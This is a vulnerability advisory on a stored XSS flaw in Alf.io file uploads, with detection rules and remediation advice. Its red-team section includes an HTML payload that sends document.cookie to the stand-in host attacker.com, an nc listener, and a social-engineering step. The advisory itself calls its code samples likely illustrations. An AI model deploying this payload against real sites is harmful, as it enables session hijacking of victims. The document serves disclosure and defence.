CVE-2024-25627

Executive Summary

CVE-2024-25627 is a stored Cross-Site Scripting (XSS) vulnerability in Alf.io, an open-source event attendance management system. An authenticated administrator can upload HTML files containing malicious JavaScript payloads. When other administrators or users view these uploaded files, the payload executes in their browser context, potentially leading to session hijacking, data theft, or further compromise. The vulnerability is rated low severity (CVSS 3.5) due to the requirement for administrative privileges and user interaction. The official patch is available in version 2.0-M4-2402.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: Required (Victim must view the uploaded file)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Alf.io. An administrator can upload arbitrary HTML files, which are then served to other users without proper sanitization. The application fails to validate or sanitize the content of uploaded HTML files, allowing an attacker to inject malicious JavaScript. When a victim (including other administrators) accesses the uploaded file, the script executes in their browser session. This can be used to steal session cookies, perform actions on behalf of the victim, or deface the application.

The attack flow:

1. Attacker gains administrative access to Alf.io.
2. Attacker uploads an HTML file containing a malicious JavaScript payload (e.g., <script>alert('XSS')</script>).
3. Victim (another admin or user) navigates to the uploaded file URL.
4. The browser renders the HTML and executes the JavaScript.
5. The payload can exfiltrate session tokens, modify content, or redirect the victim.

Vulnerable vs. Patched Code

Vulnerable Code (before 2.0-M4-2402): The file upload handler likely stores and serves uploaded files without content-type validation or sanitization. For example, a controller might serve the file with Content-Type: text/html or allow arbitrary file extensions.

// Vulnerable: No content-type validation
@PostMapping("/admin/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename();
    // Store file directly
    storageService.store(file);
    return "redirect:/admin/files";
}

Patched Code (2.0-M4-2402): The patch likely adds content-type validation, sanitization, or forces download headers for uploaded files.

// Patched: Force download and validate content-type
@PostMapping("/admin/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
    String filename = file.getOriginalFilename();
    // Validate file extension and content-type
    if (!isAllowedFileType(file.getContentType())) {
        throw new InvalidFileException("File type not allowed");
    }
    storageService.store(file);
    return "redirect:/admin/files";
}

// When serving files, force download
@GetMapping("/admin/files/{id}")
public ResponseEntity<Resource> serveFile(@PathVariable String id) {
    Resource file = storageService.load(id);
    return ResponseEntity.ok()
        .header(HttpHeaders.CONTENT_DISPOSITION, "attachment; filename=\"" + file.getFilename() + "\"")
        .body(file);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrative access to Alf.io instance.
• Ability to upload files.

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to the file upload section.
3. Create an HTML file with a malicious payload:

   <html>
   <body>
   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   </body>
   </html>
   

4. Upload the file.
5. Share the file URL with a victim (e.g., via social engineering).
6. When the victim views the file, the script executes and exfiltrates their session cookie.

Lab Setup:

• Deploy a vulnerable Alf.io instance (version < 2.0-M4-2402) using Docker:

  docker run -d -p 8080:8080 alfio/alfio:2.0-M3
  

• Set up a listener to capture exfiltrated data:

  nc -lvnp 4444
  

Blue Team

Detection:

• Monitor file upload logs for unusual file types (e.g., HTML files uploaded by administrators).
• Inspect uploaded files for script tags or event handlers.
• Use web application firewalls (WAF) to block malicious file uploads.

Prevention:

• Upgrade to Alf.io 2.0-M4-2402 or later.
• Implement strict file upload validation (allow only safe file types like images, PDFs).
• Serve uploaded files with Content-Disposition: attachment to prevent browser rendering.
• Use Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example only, actual hashes depend on payload)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
  • HTTP requests containing document.cookie in the URL.
• File System Indicators:
  • Unexpected HTML files in the upload directory.
  • Files with <script> tags or event handlers (e.g., onload, onerror).

Detection Engineering

YARA Rule

rule detect_alfio_xss_upload {
    meta:
        description = "Detects malicious HTML files uploaded to Alf.io for XSS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25627"
    strings:
        $script = /<script[\s>]/ nocase
        $onload = /onload\s*=/ nocase
        $onerror = /onerror\s*=/ nocase
        $javascript = /javascript:/ nocase
    condition:
        any of ($script, $onload, $onerror, $javascript)
}

Sigma Rule

title: Alf.io Stored XSS via File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of HTML files with potential XSS payloads to Alf.io
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: alfio
detection:
    selection:
        http.method: POST
        http.url: '/admin/upload'
        http.content_type: 'text/html'
    condition: selection
falsepositives:
    - Legitimate HTML file uploads by administrators
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25627 - Alf.io Stored XSS via File Upload"; flow:to_server; content:"POST"; http_method; content:"/admin/upload"; http_uri; content:"text/html"; http_content_type; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Upgrade to Alf.io version 2.0-M4-2402 or later.
• Workaround: If upgrade is not possible, restrict file uploads to only trusted administrators and manually inspect uploaded files.
• Long-term: Implement input validation and output encoding for all user-supplied content. Use Content Security Policy (CSP) headers to mitigate XSS impact.

Valters IT